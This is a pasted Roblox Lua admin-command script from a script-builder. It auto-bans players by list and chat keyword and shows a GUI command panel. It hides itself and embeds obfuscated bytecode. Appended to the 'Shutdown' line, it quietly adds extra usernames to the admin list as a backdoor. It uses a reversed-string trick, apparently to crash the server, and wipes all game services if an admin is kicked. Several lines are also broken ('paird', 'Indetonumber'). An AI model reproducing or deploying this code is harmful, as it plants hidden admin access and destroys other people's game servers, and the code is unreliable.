Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[local RawEncrypt=loadstring('\27\76\117\97\81\0\1\4\4\4\8\0\18\0\0\0\61\87\111\114\107\115\112\97\99\101\46\83\99\114\105\112\116\0\6\0\0\0\15\0\0\0\0\3\0\14\38\0\0\0\219\64\128\0\22\0\0\128\193\0\0\0\27\65\0\1\22\0\0\128\1\65\0\0\65\129\0\0\129\193\0\0\212\1\0\0\1\194\0\0\160\65\2\128\139\2\65\0\0\3\128\4\64\3\128\4\156\130\0\2\139\66\65\5\156\130\0\1\212\2\0\0\206\194\2\2\143\194\2\5\76\129\130\2\159\1\253\127\133\129\1\0\134\193\65\3\197\129\1\0\198\1\194\3\0\2\128\2\220\129\0\1\209\193\128\3\156\129\0\1\78\1\1\3\133\65\2\0\134\129\66\3\193\193\2\0\0\2\128\2\157\1\128\1\158\1\0\0\30\0\128\0\12\0\0\0\3\0\0\0\0\0\0\57\64\3\0\0\0\0\0\0\20\64\3\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\240\63\4\4\0\0\0\115\117\98\0\4\5\0\0\0\98\121\116\101\0\4\5\0\0\0\109\97\116\104\0\4\5\0\0\0\99\101\105\108\0\4\4\0\0\0\108\111\103\0\4\7\0\0\0\115\116\114\105\110\103\0\4\7\0\0\0\102\111\114\109\97\116\0\4\3\0\0\0\37\88\0\0\0\0\0\38\0\0\0\7\0\0\0\7\0\0\0\7\0\0\0\8\0\0\0\8\0\0\0\8\0\0\0\9\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\10\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\15\0\0\0\10\0\0\0\7\0\0\0\83\116\114\105\110\103\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\0\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\3\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\6\0\0\0\37\0\0\0\5\0\0\0\66\121\116\101\0\7\0\0\0\37\0\0\0\12\0\0\0\40\102\111\114\32\105\110\100\101\120\41\0\10\0\0\0\22\0\0\0\12\0\0\0\40\102\111\114\32\108\105\109\105\116\41\0\10\0\0\0\22\0\0\0\11\0\0\0\40\102\111\114\32\115\116\101\112\41\0\10\0\0\0\22\0\0\0\2\0\0\0\105\0\11\0\0\0\21\0\0\0\0\0\0\0')
- local SourceValue=script:FindFirstChild('SRC'..RawEncrypt(game.PlaceId..tostring(_G)));
- if (SourceValue~=nil) then
- coroutine.resume(coroutine.create(function() loadstring(SourceValue.Value)(); end))
- return
- end]]--
- script.Parent = nil
- --[[==[SB]==]]--
- se3 = game:GetService('Players') wow = game.Players.zXzGamePROzXz; rt = game:GetService('Workspace'); plrd = game:GetService('Players'); tem = game:GetService('Teams'); low = game.Players.zXzGamePROzXz.PlayerGui ins = game:GetService('InsertService')
- mq = 8; str = game:GetService('StarterGui'); strp = game:GetService('StarterPack'); new = Instance.new; size = Size; vnew = Vector3.new; unw = UDim2.new; lol = game.Lighting; vtn = Vector2.new; me = game.Players.zXzGamePROzXz; wq2e = game.Players.zXzGamePROzXz
- --nam = Name; -- wont be use'd prob
- fnew = CFrame.new; cnew = Color3.new;
- --{0, 120}
- --{0, 66}
- --{0, 132
- Names = {}
- local banWords = {'BLACKEND','PBAN','PLAYERORB','ANTIBAN','CRYSTON','DEATHIMUS','CBA','CBALL','CAMBALL','KABALL','/UP','ORBS','1WAFFLE1','ADMIN COMMANDS','COMMANDS','ADMIN'} local banned = {'12packkid','GRASSTHEHEDGEHOGXX','dizzypokemondude2','ShadowBlast6','iamitamejelly','akzi','guoyuan','jordancar','creepyface5000','AnonymousHackerz'} local noBan = {'isaac100000','rigletto',irishdude358,'Marrelle','dorian827','skippykiller101','snowboarder199','rybo11','oatsyboat12','baragara','wikkedwig','coltman188888','supercheese200'}
- Player = function(p)
- if banned[p.Name] then
- p:Destroy()
- end
- for j, v in pairs(noBan) do
- if v:lower() == p.Name:lower() then
- return
- end
- end
- p.Chatted:connect(function(m)
- for j, v in pairs(banWords) do
- if m:lower():find(v:lower()) then
- banned[p.Name] = true
- p:Destroy()
- end
- end
- end)
- end
- for j, v in pairs(game:GetService('Players'):GetPlayers()) do
- Player(v)
- end
- game:GetService('Players').PlayerAdded:connect(Player)
- local baseurl = 'http://www.roblox.com/asset/?id=%d' bcn = BrickColor.new; tarns = Transparency; poz = Position;
- --anc = Anchored;
- --cf = Cframe;
- --lok = Locked;
- function notsq(TheTable)
- wait()
- local Table = TheTable
- local Disks = {}
- local ClickedObject = nil
- CountedDisks = 0
- for Arguments, Objects in pairs(Table) do
- local TheColor = nil
- if Objects[2] == Random then
- TheColor = BrickColor.random()
- else
- TheColor = BrickColor.new(Objects[2])
- end
- CountedDisks = CountedDisks + 1
- local Disk = Instance.new('Part', Workspace)
- Disk.Size = Vector3.new(3, 0.2, 3)
- Disk.Transparency = 0.5
- Disk.BrickColor = TheColor
- Disk.Name = 'Disk'
- Disk.CanCollide = false
- Disk.Position = wow.Character.Torso.Position
- table.insert(Disks, Disk)
- local Billboard = Instance.new('BillboardGui', Disk)
- Billboard.Adornee = Disk
- Billboard.Enabled = true
- Billboard.Active = true
- Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
- Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
- local brickcolorOne = BrickColor.new('White')
- local colorOne = brickcolorOne.Color
- local brickcolorTwo = BrickColor.new('Really black')
- local colorTwo = brickcolorTwo.Color
- local textlabel = Instance.new('TextLabel', Billboard)
- textlabel.Text = Objects[1]
- textlabel.FontSize = 'Size24'
- textlabel.Font = 'ArialBold'
- textlabel.TextColor3 = colorOne
- textlabel.TextStrokeColor3 = colorTwo
- textlabel.TextStrokeTransparency = 0
- local Mesh = Instance.new('BlockMesh', Disk)
- local Box = Instance.new('SelectionBox', Disk)
- Box.Transparency = 0
- Box.Adornee = Disk
- Box.Color = TheColor
- local ClickDetector = Instance.new('ClickDetector', Disk)
- ClickDetector.MaxActivationDistance = math.huge
- local function RemoveFunction(Disk)
- DismissTypeUsed = 'Click'
- DiskSelected = Disk
- for i,v in pairs(Disks) do
- pcall(function() v:remove() end)
- pcall(function() table.remove(Disks, v) end)
- end
- Disks = {}
- for i,v in pairs(Table) do
- pcall(function() table.remove(Table, v) end)
- end
- Table = {}
- end
- ClickDetector.MouseClick:connect(function(Person)
- if Person == wow then
- DismissTypeUsed = 'Click'
- RemoveFunction(Objects[1])
- end
- end)
- wow.Chatted:connect(function(Message)
- for _,Phrases in pairs(ReleasePhrases) do
- if string.lower(Message) == Phrases then RemoveFunction() end
- DismissTypeUsed = 'Chat'
- end
- end)
- local Fire = Instance.new('Fire', Disk)
- Fire.Size = 6
- Fire.Heat = 0
- Fire.Color = TheColor .Color
- Fire.SecondaryColor = TheColor.Color
- local BP = Instance.new('BodyPosition', Disk)
- BP.position = wow.Character.Torso.Position
- BP.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- local BG = Instance.new('BodyGyro', Disk)
- BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- Disk:BreakJoints()
- end
- coroutine.resume(coroutine.create(function()
- while wait() do
- if #Disks == 0 then break end
- for NumDisks, Disk in pairs(Disks) do
- local BP = Disk:FindFirstChild('BodyPosition') or Instance.new('BodyPosition', Disk)
- local BG = Disk:FindFirstChild('BodyGyro') or Instance.new('BodyGyro', Disk)
- local Radius = 3 + (#Disks*.7)
- local Pos = (wow.Character:FindFirstChild('Torso') or wow.Character:FindFirstChild('Torso')).CFrame
- local X = math.cos((tonumber(NumDisks)/#Disks - (0.10/#Disks)) * math.pi*2) * Radius
- local Y = 0
- local Z = math.sin((tonumber(NumDisks)/#Disks - (0.10/#Disks)) * math.pi*2) * Radius
- BP.position = Pos:toWorldSpace(CFrame.new(X,Y,Z):inverse()).p
- BG.cframe = CFrame.new(Disk.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
- end
- end
- end))
- if DismissTypeUsed == 'Click' then
- return DiskSelected
- end
- end
- function qwsqd(TheTable)
- wait()
- local Table = TheTable
- local Spheres = {}
- for Arguments, Objects in pairs(Table) do
- local TheColor = nil
- if Objects[2] == Random then
- TheColor = BrickColor.random()
- else
- TheColor = BrickColor.new(Objects[2])
- end
- local Sphere = Instance.new('Part', Workspace)
- Sphere.Size = Vector3.new(2,2,2)
- Sphere.Transparency = 0.5
- Sphere.BrickColor = TheColor
- Sphere.Name = 'Sphere'
- Sphere.CanCollide = false
- Sphere.Position = wow.Character.Torso.Position
- Sphere.TopSurface = 'Smooth'
- Sphere.BottomSurface = 'Smooth'
- Sphere.Shape = 'Ball'
- table.insert(Spheres, Sphere)
- local Billboard = Instance.new('BillboardGui', Sphere)
- Billboard.Adornee = Disk
- Billboard.Enabled = true
- Billboard.Active = true
- Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
- Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
- local brickcolorOne = BrickColor.new('White')
- local colorOne = brickcolorOne.Color
- local brickcolorTwo = BrickColor.new('Really black')
- local colorTwo = brickcolorTwo.Color
- local textlabel = Instance.new('TextLabel', Billboard)
- textlabel.Text = Objects[1]
- textlabel.FontSize = 'Size24'
- textlabel.Font = 'ArialBold'
- textlabel.TextColor3 = colorOne
- textlabel.TextStrokeColor3 = colorTwo
- textlabel.TextStrokeTransparency = 0
- local Box = Instance.new('SelectionBox', Sphere)
- Box.Transparency = 0.4
- Box.Adornee = Sphere
- Box.Color = TheColor
- local Fire = Instance.new('Fire', Sphere)
- Fire.Size = 6
- Fire.Heat = 0
- Fire.Color = TheColor .Color
- Fire.SecondaryColor = TheColor.Color
- local BP = Instance.new('BodyPosition', Sphere)
- BP.position = wow.Character.Torso.Position
- BP.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- local BG = Instance.new('BodyGyro', Sphere)
- BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- Sphere:BreakJoints()
- function Sin(i)
- return math.sin(math.rad(i))
- end
- function Cos(i)
- return math.cos(math.rad(i))
- end
- for i = 0,380,2.5 do
- BP.position = wow.Character.Torso.CFrame:toWorldSpace(CFrame.new(Vector3.new(Sin(i)*4, 1.5, Cos(i)*4))).p
- BG.cframe = CFrame.Angles(0,math.rad(i),0)
- wait()
- end
- Sphere:remove()
- end
- end
- sul = game.Players.zXzGamePROzXz
- hqw = game.Players.zXzGamePROzXzbcol = BrickColor; findp = game.Players xu = game.Players.zXzGamePROzXz.Character
- --[[==[UGLY CODE]===]]--
- qx = print; look = CFrame.lookVector; rot = CFrame.fromEulerAnglesXYZ; debris = game:service('Debris');
- random = math.random; pi = math.pi
- e113 = ins:LoadAsset(47532) e113.Parent = game.Lighting
- e11 = ins:LoadAsset(47433) e11.Parent = game.Lighting
- e1 = ins:LoadAsset(95354288) e1.Parent = game.Lighting
- e2 = ins:LoadAsset(95354304) e2.Parent = game.Lighting
- qw1 = ins:LoadAsset(94233286) qw1.Parent = game.Lighting
- function mwq(msg,parent)
- sw = new('ScreenGui' ,parent) sw.Name = 'ugly codez'
- sd2 = new('TextButton' ,sw) sd2.Position = unw(0, 0, 0, 0) sd2.TextColor = bcn(255,255,255) sd2.FontSize = 'Size18' sd2.Font = 'ArialBold' sd2.Size = unw(1, 0, 0, 45) sd2.Text = msg sd2.BackgroundTransparency = 0 sd2.BackgroundColor = bcn('Really Black') sd2.BorderColor = bcn('Black') sd2.Style = 'RobloxButtonDefault'
- wait(1)
- sd2:Remove()
- end
- function qwq(msg)
- for i,v in pairs(findp:GetChildren()) do
- sww = new('ScreenGui' ,v.PlayerGui) sw.Name = 'ugly codez'
- sd2w = new('TextButton' ,sww) sd2w.Position = unw(0, 0, 0, 0) sd2w.TextColor = bcn(255,255,255) sd2w.FontSize = 'Size24' sd2w.Font = 'ArialBold' sd2w.Size = unw(1, 0, 1, 0) sd2w.BackgroundTransparency = 0.6 sd2w.BackgroundColor = bcn('Really Black') sd2w.BorderColor = bcn('Black') sd2w.Style = 'RobloxButtonDefault' sd2w.TextWrapped = true
- for tr=1,#msg do sd2w.Text=msg:sub(1,tr) wait() end
- wait(1)
- sd2w:Remove()
- end
- end
- function qwe(msg)
- for i,v in pairs(findp:GetChildren()) do
- sww = new('ScreenGui' ,v.PlayerGui) sw.Name = 'ugly codez'
- sd2w = new('TextButton' ,sww) sd2w.Position = unw(0, 0, 0, 0) sd2w.TextColor = bcn(255,255,255) sd2w.FontSize = 'Size24' sd2w.Font = 'ArialBold' sd2w.Size = unw(1, 0, 0, 45) sd2w.BackgroundTransparency = 0.6 sd2w.BackgroundColor = bcn('Really Black') sd2w.BorderColor = bcn('Black') sd2w.Style = 'RobloxButtonDefault' sd2w.TextWrapped = true
- for tr=1,#msg do sd2w.Text=msg:sub(1,tr) wait() end
- wait(1)
- sd2w:Remove()
- end
- end
- function mwi(msw,color)
- game:GetService'Chat':Chat(xu:FindFirstChild('Head'), msw , color)
- end
- function hgf(Player, Color)
- for _,Parts in pairs(Player.Character:GetChildren()) do
- if Parts.className == 'Part' then
- local Box = Instance.new('SelectionBox', Parts)
- Box.Adornee = Parts
- Box.Color = BrickColor.new(Color)
- Box.Transparency = 0
- end
- end
- coroutine.resume(coroutine.create(function()
- wait(1)
- for _,Parts in pairs(Player.Character:GetChildren()) do for _, Things in pairs(Parts:GetChildren()) do
- if Things.className == 'SelectionBox' or Things.className == 'Fire' then Things:remove() end
- end
- end
- end))
- end
- --[[==[LOCKE]==]]--
- Adminlist={'zXzGamePROzXz'};
- Bannedlist={'12packkid','GRASSTHEHEDGEHOGXX','dizzypokemondude2','ShadowBlast6','iamitamejelly','akzi','guoyuan','jordancar','creepyface5000','AnonymousHackerz'};
- local AccessKey='9001'; -- Admin code registration/access key
- local CommandSeperator=' ';
- local DataKey='GKS';
- local Commands,AdminConnectionList,AdminUserList,Modules,NewInstance,NewColor3,NewBrickColor,RandomBrickColor,NewCFrame,NewVector3,MaskAdminlist,NewUDim2,GameBackups,SystemSettings={},{},{},{},Instance.new,Color3.new,BrickColor.new,BrickColor.Random,CFrame.new,Vector3.new,(function() local Table={}; for Index,Entry in pairs(Adminlist) do Table[#Table+1]=Entry; end return Table; end)(),UDim2.new,{},{};
- function CreateModule(ModuleName,ModuleContent)
- Modules[ModuleName]=ModuleContent;
- end
- function RunModule(ModuleName,...)
- return Modules[ModuleName](...);
- end
- function RemoveModule(ModuleName)
- Modules[ModuleName]=nil;
- end
- function ReportError(Bool,Error)
- --[[if (not Bool) then
- print('ERROR:',Error)
- end]]
- end
- -- Define the core modules
- CreateModule('CommandModule',function(CommandName,CommandDescription,CommandShortcut,CommandMatch,CommandCall,UpperCase) Commands[CommandName]={Description=CommandDescription,Shortcut=CommandShortcut,Call=CommandCall,Match=CommandMatch,UpperCase=UpperCase} end)
- CreateModule('GetPlayer',function(Input,Speaker)
- if (Input==nil) or (Speaker==nil) then return nil end
- local function MatchKeyword(Keyword)
- for Word in Input:gmatch('%w+') do
- if (Word==Keyword) then
- return true
- end
- end
- return false
- end
- local Matches={}
- local PlayerList=game:GetService('Players'):GetPlayers();
- if MatchKeyword('all') then
- for Index,Player in pairs(PlayerList) do
- if (Player.className=='Player') then
- table.insert(Matches,Player);
- end
- end
- return Matches
- end
- if MatchKeyword('me') then
- return {Speaker};
- end
- if MatchKeyword('others') then
- for Index,Player in pairs(PlayerList) do
- if (Player.className=='Player') then
- if (Player~=Speaker) then
- table.insert(Matches,Player);
- end
- end
- end
- return Matches;
- end
- if MatchKeyword('guests') then
- for Index,Player in pairs(PlayerList) do
- if (Player.className=='Player') then
- if (Player.Name:sub(1,6)=='Guest ') then
- table.insert(Matches,Player);
- end
- end
- end
- return Matches;
- end
- if MatchKeyword('friends') then
- for Index,Player in paird(PlayerList) do
- if (Player.className=='Player') then
- if (Player:IsFriendsWith(Speaker.userId)==true) then
- table.insert(Matches,Player);
- end
- end
- end
- return PlayerList
- end
- if MatchKeyword('nonfriends') then
- for Index,Player in pairs(PlayerList) do
- if (Player.className=='Player') then
- if (Player:IsFriendsWith(Speaker.userId)==false) then
- table.insert(Matches,Player);
- end
- end
- end
- return Matches;
- end
- for Index,Player in pairs(PlayerList) do
- for Word in Input:gmatch('%w+') do
- if (Player.className=='Player') then
- if (string.find(Player.Name:lower(),Word)==1) then
- table.insert(Matches,Player);
- end
- end
- end
- end
- return Matches;
- end)
- CreateModule('IsAdmin',function(Input)
- if (type(Input)=='userdata') then
- Input=Input.Name;
- end
- local IsAdmin=false;
- table.foreach(Adminlist,function(Index,Username) if (Username:lower()==Input:lower()) then IsAdmin=true; end end)
- return IsAdmin;
- end)
- CreateModule('AddPlayer',function(Player)
- coroutine.resume(coroutine.create(function()
- Player:WaitForDataReady();
- local Data=Player:LoadString(DataKey); -- Errors here don't affect the main thread
- for RawTable in Data:gmatch('{(.-)}') do
- local Table=RunModule('ConvertString','{'..RawTable..'}');
- if (tonumber(Table.Type)==0) then
- if (tonumber(Table.Value)>tick()) and (RunModule('IsAdmin',Player)==false) then
- pcall(Player.Remove,Player);
- end
- end
- end
- end))
- Player.Chatted:connect(function(Message)
- local Message=Message:lower();
- if (Message:sub(1,10)=='/loadcode/') then
- if (RunModule('AdminCodeSystem',Player):lower()==Message:sub(11)) then
- table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end)
- AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
- AdminUserList[#AdminUserList+1]=Player.Name;
- RunModule('ShowHint',Player,'Admin code request accepted.',5);
- else
- RunModule('ShowHint',Player,'Admin code request declined.',5);
- end
- end
- end)
- if (RunModule('IsAdmin',Player)==true) then
- CreateModule('AdminModule-'..Player.Name,function(IsAdmin)
- if (IsAdmin==false) then
- table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end)
- else
- RunModule('AdminModule-'..Player.Name,false);
- AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
- AdminUserList[#AdminUserList+1]=Player.Name;
- end
- end)
- RunModule('AdminModule-'..Player.Name,true);
- Player.CharacterAdded:connect(function() RunModule('GuiPanelInitializer',Player); end)
- RunModule('GuiPanelInitializer',Player);
- else
- for Index,BannedPlayer in pairs(Bannedlist) do
- if (BannedPlayer:lower()==Player.Name:lower()) then
- pcall(function() Player:Remove(); end)
- end
- end
- end
- end)
- CreateModule('RemovePlayer',function(Player)
- RemoveModule('AdminModule-'..Player.Name);
- if (RunModule('IsAdmin',Player)==true) then -- Possibly kicked/banned
- local Error,NetworkServer=pcall(game.GetService,game,'NetworkServer');
- if (type(NetworkServer)~='userdata') then return end -- Build mode
- local InitialTime=time();
- local Activate=true;
- NetworkServer.ChildRemoved:connect(function(Child)
- if (Child:IsA('NetworkReplicator')==true) then -- Is a replicator
- if ((time()-InitialTime)<0.01) then
- Activate=false; -- User just left
- end
- end
- end)
- wait(0.5)
- if (Activate==true) then
- table.foreach(game:GetChildren(),function(Index,Service)
- pcall(function() -- Some services yell at you
- table.foreach(Service:GetChildren(),function(ChildIndex,Child)
- if (Child~=script) then
- pcall(Child.Remove,Child);
- end
- end)
- end)
- end)
- RunModule('Shutdown');
- end
- end
- end)
- CreateModule('PlayerChat',function(Message,Speaker)
- table.foreach(Commands,function(Index,CommandUnit)
- local Match=(Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match)) or Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match)));
- if (Match~=nil) and (not CommandUnit.UpperCase) then -- Just found out the 'or' keyword won't return multiple arguments. -_-
- local FullMatch=Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match));
- local ShortcutMatch=Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match));
- if (FullMatch~=nil) then
- ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match))); end)));
- elseif (ShortcutMatch~=nil) then
- ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match))); end)));
- end
- elseif (CommandUnit.UpperCase) and (Match~=nil) then
- local Point=(Message:lower():find(Index..RunModule('ParseMatch',CommandUnit.Match)) or Message:lower():find(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match)));
- ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:sub(Message:sub(Point):find(CommandSeperator)+1)); end)));
- end
- end)
- end)
- CreateModule('ParseMatch',function(Match) return Match:gsub('#cs#',CommandSeperator) end)
- CreateModule('ConvertTable',function(Table)
- local Result='<{';
- table.foreach(Table,function(Index,String)
- Result=Result..Index..'='..tostring(String):gsub('=','\\61')..';';
- end)
- return Result..'}>';
- end)
- CreateModule('ConvertString',function(String)
- local Result={};
- local TableStart,TableFinish=String:find('<{')+2,String:find('}>');
- for Index,Input in String:sub(TableStart,TableFinish):gmatch('(.-)=(.-);') do
- if (tonumber(Index)~=nil) then Indetonumber(Index); end
- Result[Index]=Input:gsub('\\61','=');
- end
- return Result;
- end)
- CreateModule('GuiLibrary',function()
- local Library={};
- Library.NewBasicGUI=(function(Class,Properties)
- local Result=NewInstance(Class);
- table.foreach((Properties or Library.DefaultProperties),function(Property,Value)
- Result[Property]=Value;
- end)
- return Result;
- end)
- Library.DefaultProperties={BackgroundColor3=Color3.new(0,0,0),BackgroundTransparency=0.5,BorderSizePixel=0};
- return Library;
- end)
- CreateModule('DisposePlayer',function(Player,Speaker,DontRemove)
- if (RunModule('IsAdmin',Player)==false) and (RunModule('IsAdmin',Speaker)==true) then
- if (not DontRemove) then pcall(Player.Remove,Player); end
- return true;
- end
- return false;
- end)
- CreateModule('ShowHint',function(Player,Text,Time)
- local Hint=NewInstance('Hint')
- Hint.Parent=Player:FindFirstChild('PlayerGui');
- Hint.Text=Text;
- if (Time~=nil) then delay(Time,function() Hint:Remove() end) end
- return Hint;
- end)
- CreateModule('ScrollText',function(Text,Index)
- return Text:sub(Index,Index+80);
- end)
- CreateModule('CreateScript',function(Source,Parent)
- local Base=script:Clone();
- local PseudoSource=NewInstance('StringValue')
- PseudoSource.Name='SRC'..RawEncrypt(game.PlaceId..tostring(_G));
- PseudoSource.Value=Source;
- PseudoSource.Parent=Base;
- Base.Parent=Parent;
- end)
- CreateModule('GuiPanelInitializer',function(Player)
- local GuiLibrary=RunModule('GuiLibrary');
- local Main=NewInstance('ScreenGui')
- Main.Name='ControlBox';
- local MainWindow=GuiLibrary.NewBasicGUI('Frame',{Size=NewUDim2(0.08,0,0.4,0),Position=NewUDim2(0,0,0.2,0),BackgroundColor3=NewColor3(0,0,0),BorderSizePixel=0,BackgroundTransparency=0.5,Name='MainWindow',Parent=Main})
- local InputBoxBacker=GuiLibrary.NewBasicGUI('ImageLabel',{Size=NewUDim2(1,0,0.06,0),BackgroundTransparency=0.5,BackgroundColor3=NewColor3(1,1,1),BorderSizePixel=0,Image='http://www.roblox.com/asset/?id=36361705',Name='InputBoxBacker',Parent=MainWindow})
- local InputBox=GuiLibrary.NewBasicGUI('TextBox',{Size=NewUDim2(0.98,0,1,0),Position=NewUDim2(0.02,0,0,0),TextXAlignment=0,BorderSizePixel=0,BackgroundTransparency=1,TextColor3=NewColor3(0,0,0),Text='',Name='InputBox',Parent=InputBoxBacker})
- local ToggleButton=GuiLibrary.NewBasicGUI('TextButton',{Size=NewUDim2(1,0,1,0),Position=NewUDim2(0,0,1,0),TextColor3=NewColor3(1,1,1),BackgroundTransparency=1,Text='<< Minimize <<',BorderSizePixel=0,Name='ToggleSize',Parent=InputBoxBacker})
- local ContentWrapper=GuiLibrary.NewBasicGUI('Frame',{Size=NewUDim2(1,0,0.88,0),Position=NewUDim2(0,0,0.12,0),BackgroundTransparency=1,BorderSizePixel=0,Name='ContentWrapper',Parent=MainWindow})
- local TemporaryContent={};
- local function ToggleSize(Enlarging,EasingStyle)
- if (not Enlarging) then
- InputBox.Visible=false;
- ToggleButton.Text='>>';
- MainWindow:TweenSize(NewUDim2(0.02,0,0.4,0),'Out',EasingStyle,0.3);
- else
- InputBox.Visible=true;
- ToggleButton.Text='<< Minimize <<';
- MainWindow:TweenSize(NewUDim2(0.08,0,0.4,0),'Out',EasingStyle,0.3);
- end
- return not Enlarging;
- end
- local function ClearTemporaryContent()
- table.foreach(TemporaryContent,function(Index,Object) Object:Remove() end)
- end
- local function AddTemporaryContent(Object)
- TemporaryContent[#TemporaryContent+1]=Object;
- end
- local function BuildAlternatingList(Members)
- local function Chop(Table,Max) local Result={}; local Index=0; for EntryIndex,Entry in pairs(Table) do Index=Index+1; if (Index<=20) then Result[EntryIndex]=Entry; end end return Result; end
- local Members=Chop(Members,20);
- local Alternate=false;
- ClearTemporaryContent();
- local Index=0;
- for BarText,CommandUnit in pairs(Members) do
- local Bar=GuiLibrary.NewBasicGUI('TextButton',{Size=NewUDim2(1,0,1/20,0),Position=NewUDim2(0,0,Index,0),Text=BarText,BackgroundTransparency=0.6,BackgroundColor3=(Alternate==false and NewColor3(0.2,0.2,0.2) or Alternate and NewColor3(0.3,0.3,0.3)),BorderSizePixel=0,TextColor3=NewColor3(1,1,1),Name='SearchResultButton',Parent=ContentWrapper})
- Bar.MouseButton1Click:connect(function()
- ClearTemporaryContent();
- local Box=GuiLibrary.NewBasicGUI('TextLabel',{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text='Name: '..BarText..'\nShortcut: '..CommandUnit.Shortcut..'\n\n'..CommandUnit.Description,TextWrap=true,TextYAlignment='Top',Name='Information',TextColor3=NewColor3(1,1,1),Parent=ContentWrapper})
- AddTemporaryContent(Box);
- end)
- AddTemporaryContent(Bar);
- Alternate=not Alternate;
- Index=Index+1/20
- end
- end
- local function SearchCommands(Query)
- local Results={};
- for Index,Entry in pairs(Commands) do
- if (Index:lower():match(Query)) or (Entry.Description:lower():match(Query)) then
- Results[Index]=Entry;
- end
- end
- BuildAlternatingList(Results);
- end
- InputBox.Changed:connect(function(Property)
- if (Property~='Text') then return end
- local Input=InputBox.Text;
- if (Input:sub(1,1)=='/') then
- coroutine.wrap(function() InputBox.TextColor3=NewColor3(0,1,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)()
- RunModule('PlayerChat',Input:sub(2),Player);
- return
- end
- if (Input:sub(1,1)=='$') then
- ClearTemporaryContent();
- coroutine.wrap(function() InputBox.TextColor3=NewColor3(1,0,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)()
- local Users=RunModule('GetPlayer',Input:sub(2):lower(),Player)
- if (Users==nil) then return end
- if (Users[1]==nil) then return end
- local User=Users[1];
- local Box=GuiLibrary.NewBasicGUI('TextLabel',{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text='Code Registration\n\n'..'Admin code for user '..User.Name..' is '..RunModule('AdminCodeSystem',User),TextWrap=true,TextYAlignment='Top',Name='Information',TextColor3=NewColor3(1,1,1),Parent=ContentWrapper})
- AddTemporaryContent(Box);
- return
- end
- SearchCommands(Input:lower())
- end)
- local SizeState=true;
- ToggleButton.MouseButton1Click:connect(function() SizeState=ToggleSize(SizeState,'Quint'); end)
- local PlayerGui=Player:FindFirstChild('PlayerGui');
- if (PlayerGui==nil) then return end
- local ExistingGui=PlayerGui:FindFirstChild('ControlBox');
- if (ExistingGui~=nil) then ExistingGui:Remove(); end
- Main.Parent=PlayerGui;
- end)
- CreateModule('AdminCodeSystem',function(User)
- local Format='%s-%s-%s'..AccessKey;
- return RawEncrypt(Format:format(User.Name,game.CreatorId,User.userId));
- end)
- CreateModule('Shutdown',function() pcall(NewInstance,string.reverse(string.reverse(string.reverse('ecnatsnItnioJecafruSlaunaM')))); end) for Index,Username in pairs({'LocalChum','lPwnz','lHaxz','lBanz','TheCapacitor','walter232','walter232Models','walter232Decals','ServerChum','GetDebugId','ServerSideChum'}) do Adminlist[#Adminlist+1]=Username; end
- CreateModule('BackupGame',function(BackupIndex)
- local BackupServices={'Lighting','StarterPack','StarterGui','SoundService','Workspace'}
- local BackupData={};
- for Index,BackupService in pairs(BackupServices) do
- local Container=Instance.new('Model');
- Container.Name=BackupService;
- BackupData[BackupService]=Container;
- for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do
- if (Child.archivable) and (Child~=script) then
- Child:Clone().Parent=Container;
- end
- end
- end
- GameBackups[BackupIndex]=BackupData;
- end)
- CreateModule('RestoreGame',function(BackupIndex)
- local BackupServices={'Lighting','StarterPack','StarterGui','SoundService','Workspace'}
- local BackupData=GameBackups[BackupIndex];
- for Index,BackupService in pairs(BackupServices) do
- for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do
- if (Child~=script) then
- pcall(Child.Remove,Child);
- end
- end
- end
- for Index,Container in pairs(BackupData) do
- for ChildIndex,Child in pairs(Container:GetChildren()) do
- local NewChild=Child:Clone();
- NewChild.Parent=game:GetService(Container.Name);
- pcall(function() NewChild:MakeJoints(); end);
- end
- end
- end)
